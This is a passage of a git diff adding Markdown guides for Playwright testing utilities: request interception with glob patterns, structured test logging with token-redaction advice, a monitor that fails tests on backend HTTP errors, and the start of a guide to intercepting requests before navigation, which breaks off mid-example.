+  // Setup all intercepts BEFORE navigation
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+  const productsCall = interceptNetworkCall({ url: '**/api/products' });
+  const ordersCall = interceptNetworkCall({ url: '**/api/orders' });
+
+  // THEN navigate
+  await page.goto('/dashboard');
+
+  // Wait for all (or specific ones)
+  const [users, products] = await Promise.all([usersCall, productsCall]);
+
+  expect(users.responseJson).toHaveLength(10);
+  expect(products.responseJson).toHaveLength(50);
+});
+```
+
+**Key Points**:
+
+- Setup all intercepts before triggering actions
+- Use `Promise.all()` to wait for multiple calls
+- Order: intercept -> navigate -> await
+- Prevents race conditions
+
+### Example 7: Capturing Multiple Requests to the Same Endpoint
+
+**Context**: Each `interceptNetworkCall` captures only the first matching request.
+
+**Implementation**:
+
+```typescript
+// Capturing a known number of requests
+const firstRequest = interceptNetworkCall({ url: '/api/data' });
+const secondRequest = interceptNetworkCall({ url: '/api/data' });
+
+await page.click('#load-data-button');
+
+const firstResponse = await firstRequest;
+const secondResponse = await secondRequest;
+
+expect(firstResponse.status).toBe(200);
+expect(secondResponse.status).toBe(200);
+
+// Handling an unknown number of requests
+const getDataRequestInterceptor = () =>
+  interceptNetworkCall({
+    url: '/api/data',
+    timeout: 1000, // Short timeout to detect when no more requests are coming
+  });
+
+let currentInterceptor = getDataRequestInterceptor();
+const allResponses = [];
+
+await page.click('#load-multiple-data-button');
+
+while (true) {
+  try {
+    const response = await currentInterceptor;
+    allResponses.push(response);
+    currentInterceptor = getDataRequestInterceptor();
+  } catch (error) {
+    // No more requests (timeout)
+    break;
+  }
+}
+
+console.log(`Captured ${allResponses.length} requests to /api/data`);
+```
+
+### Example 8: Using Timeout
+
+**Context**: Set a timeout for waiting on a network request.
+
+**Implementation**:
+
+```typescript
+const dataCall = interceptNetworkCall({
+  method: 'GET',
+  url: '/api/data-that-might-be-slow',
+  timeout: 5000, // 5 seconds timeout
+});
+
+await page.goto('/data-page');
+
+try {
+  const { responseJson } = await dataCall;
+  console.log('Data loaded successfully:', responseJson);
+} catch (error) {
+  if (error.message.includes('timeout')) {
+    console.log('Request timed out as expected');
+  } else {
+    throw error;
+  }
+}
+```
+
+## URL Pattern Matching
+
+The utility uses [picomatch](https://github.com/micromatch/picomatch) for powerful glob pattern matching, dramatically simplifying URL targeting:
+
+**Supported glob patterns:**
+
+```typescript
+'**/api/users'; // Any path ending with /api/users
+'/api/users'; // Exact match
+'**/users/*'; // Any users sub-path
+'**/api/{users,products}'; // Either users or products
+'**/api/users?id=*'; // With query params
+```
+
+**Comparison with vanilla Playwright:**
+
+```typescript
+// Vanilla Playwright - complex predicate
+const predicate = (response) => {
+  const url = response.url();
+  return url.endsWith('/api/users') || url.match(/\/api\/users\/\d+/) || (url.includes('/api/users/') && url.includes('/profile'));
+};
+page.waitForResponse(predicate);
+
+// With interceptNetworkCall - simple glob patterns
+interceptNetworkCall({ url: '/api/users' }); // Exact endpoint
+interceptNetworkCall({ url: '/api/users/*' }); // User by ID pattern
+interceptNetworkCall({ url: '/api/users/*/profile' }); // Specific sub-paths
+interceptNetworkCall({ url: '/api/users/**' }); // Match all
+```
+
+## API Reference
+
+### `interceptNetworkCall(options)`
+
+| Parameter         | Type       | Description                                                           |
+| ----------------- | ---------- | --------------------------------------------------------------------- |
+| `page`            | `Page`     | Required when using direct import (not needed with fixture)           |
+| `method`          | `string`   | Optional: HTTP method to match (e.g., 'GET', 'POST')                  |
+| `url`             | `string`   | Optional: URL pattern to match (supports glob patterns via picomatch) |
+| `fulfillResponse` | `object`   | Optional: Response to use when mocking                                |
+| `handler`         | `function` | Optional: Custom handler function for the route                       |
+| `timeout`         | `number`   | Optional: Timeout in milliseconds for the network request             |
+
+### `fulfillResponse` Object
+
+| Property  | Type                     | Description                                           |
+| --------- | ------------------------ | ----------------------------------------------------- |
+| `status`  | `number`                 | HTTP status code (default: 200)                       |
+| `headers` | `Record<string, string>` | Response headers                                      |
+| `body`    | `any`                    | Response body (will be JSON.stringified if an object) |
+
+### Return Value
+
+Returns a `Promise<NetworkCallResult>` with:
+
+| Property       | Type       | Description                             |
+| -------------- | ---------- | --------------------------------------- |
+| `request`      | `Request`  | The intercepted request                 |
+| `response`     | `Response` | The response (null if mocked)           |
+| `responseJson` | `any`      | Parsed JSON response (if available)     |
+| `status`       | `number`   | HTTP status code                        |
+| `requestJson`  | `any`      | Parsed JSON request body (if available) |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                          | intercept-network-call                                       |
+| ----------------------------------------------------------- | ------------------------------------------------------------ |
+| `await page.route('/api/users', route => route.continue())` | `const call = interceptNetworkCall({ url: '**/api/users' })` |
+| `const resp = await page.waitForResponse('/api/users')`     | (Combined in single statement)                               |
+| `const json = await resp.json()`                            | `const { responseJson } = await call`                        |
+| `const status = resp.status()`                              | `const { status } = await call`                              |
+| Complex filter predicates                                   | Simple glob patterns                                         |
+
+**Reduction:** ~5-7 lines -> ~2-3 lines per interception
+
+## Related Fragments
+
+- `network-first.md` - Core pattern: intercept before navigate
+- `network-recorder.md` - HAR-based offline testing
+- `overview.md` - Fixture composition basics
+
+## Anti-Patterns
+
+**DON'T intercept after navigation:**
+
+```typescript
+await page.goto('/dashboard'); // Navigation starts
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // Too late!
+```
+
+**DO intercept before navigate:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' }); // First
+await page.goto('/dashboard'); // Then navigate
+const { responseJson } = await usersCall; // Then await
+```
+
+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
